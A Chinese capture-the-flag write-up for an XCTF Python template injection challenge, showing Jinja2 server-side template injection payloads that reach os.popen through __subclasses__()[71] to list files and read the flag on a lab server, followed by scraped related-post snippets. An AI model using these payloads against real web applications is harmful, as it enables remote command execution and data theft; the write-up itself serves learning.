一.进入实验发现是python的模板注入

1.我们先来了解一下:

instance.__class__ 可以获取当前实例的类对象

class.__mro__ 获取当前类对象的所有继承类

每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

这里就不一一说明了,我也不是很懂这个漏洞,想更详细地了解就看看这个 https://www.freebuf.com/column/187845.html

2.实验步骤:

判断是否存在漏洞  :  发现1+1被执行了,也就可以利用这漏洞了

通过  http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D ,查看所有模块

由于我们想要读取到flag文件里的信息,所以选用 os.popen

首先我们要找到os模块的位置,他是位于里面 ,结果查找在71

通过`__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()`

来调用服务器的控制台并显示。

我们构造http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]

.__init__.__globals__['os'].popen('ls').read()%7D%7D

根据返回的结果可以知道我们要找的flag在fl4g里面,现在查看这个文件即可得到flag。

http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]

.__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

添加到短语集

没有此单词集:英语 -> 中文(简体)...

创建新的单词集...

拷贝

web python template injection_XCTF Web_python_template_injection相关推荐

  1. web python template injection_[Day 2] Template Injection:欸不是,你真的懂 Python 嗎?

    雖然標題是寫 Template Injection,但我們暫時先從另外一個角度切入八 owo)/ 小 sandbox(? 這邊有一段簡單的 Python 2 程式碼 while True: try: ...

  2. python template languages_Python template.TemplateSyntaxError方法代碼示例

    本文整理匯總了Python中django.template.TemplateSyntaxError方法的典型用法代碼示例.如果您正苦於以下問題:Python template.TemplateSynt ...

  3. web python php golang_python go 语言完成最简单的web应用

    徒手使用python和go语言搭建最简单的web页面-使用模板,无持久化 也许我们会接触到很多语言的web应用,譬如php,java,包括今天介绍的python和go,实际上我们在使用这些语言构建we ...

  4. python template模块_Python模板库Mako的用法

    Mako是一个高性能的Python模板库,它的语法和API借鉴了很多其他的模板库,如Django.Jinja2等等. 基本用法 创建模板并渲染它的最基本的方法是使用 Template 类: from  ...

  5. Creating a LINQ Enabled ASP.NET Web application template using C#.[转]

    原文地址:http://www.wwwcoder.com/Weblogs/tabid/283/EntryID/839/Default.aspx 其他相关地址:Building and using a  ...

  6. python template open_python and Template.

    也许说法不正确,但是目前我能理解的就是替换,替换指定文本中的内容. 例如: $title$ $content$ Top 我要做的只是替换其中特定格式的 $code$,$title$,$conent$, ...

  7. web python 自动化是什么_Selenium 凭什么成为 Web 自动化测试的首选?(内附源码)...

    原标题:Selenium 凭什么成为 Web 自动化测试的首选?(内附源码) 自动化 · 工具 1.QTP QTP是一个商业化的功能测试工具,收费,支持web,桌面自动化测试. 2. Selenium ...

  8. python template用法_python中Template的使用介绍

    Template无疑是一个好东西,可以将字符串的格式固定下来,重复利用.同时Template也可以让开发人员可以分别考虑字符串的格式和其内容了,无形中减轻了开发人员的压力. Template属于str ...

  9. python template engine

    Tenjin a fast and full-featured template engine based on embedded Python. install: sudo easy_install ...

最新文章

  1. scala akka 修炼之路5(scala特质应用场景分析)
  2. adb查看手机cpu使用率_记录一下Unity打包Android在骁龙cpu上概率性卡死的问题
  3. CSS技巧(含色卡)
  4. 允许java运行不安全或不可信的应用程序
  5. 学习SQL语句之SQL语句大全
  6. Tunnel Warfare(HDU1540+线段树+区间合并)
  7. Xftp连接linux(ubuntu)时提示ssh服务器拒绝了密码,请再试一次
  8. 网工小课堂(part1)--计算机网络概论
  9. 故障分析:数据库一致性关闭缓慢问题诊断
  10. python爬虫都需要什么手续_Python爬虫入门 | 3 爬虫必备Python知识
  11. 几种关系型数据库比较
  12. 学计算机是为了什么演讲稿,求大学计算机协会职位申请书和演讲稿
  13. 【什么值得买】最牛逼的语音识别公司开始做硬件了
  14. 【R语言】如何直接调取Wind、iFinD数据接口教程
  15. 雷电模拟器 手机模拟器 安装 连接
  16. winform右下角弹窗
  17. linux系统支持ntfs吗,Linux支持NTFS格式文件的方法
  18. (二) icarus主题配置
  19. MySQL——事务(Transaction)详解
  20. Windows中 JDK下载与安装教程 JAVA环境变量配置、JDK基本介绍

热门文章

  1. Win11推送如何操作 Windows11推送的详细步骤方法
  2. 浅谈win10修复系统文件的方法
  3. spring cloud微服务注册中心EurekaServer
  4. aardio部署_aardio有什么用
  5. 麦克纳姆轮运动特性分析(图片版)
  6. oracle关于字符串函数,Oracle字符串处理函数
  7. mysql bat备份_Windows下简单的Mysql备份BAT脚本分享
  8. Tomcat控制台乱码
  9. 解决Ubuntu16.04中文乱码问题
  10. difftime C语言,C语言中difftime函数如何使用time_t*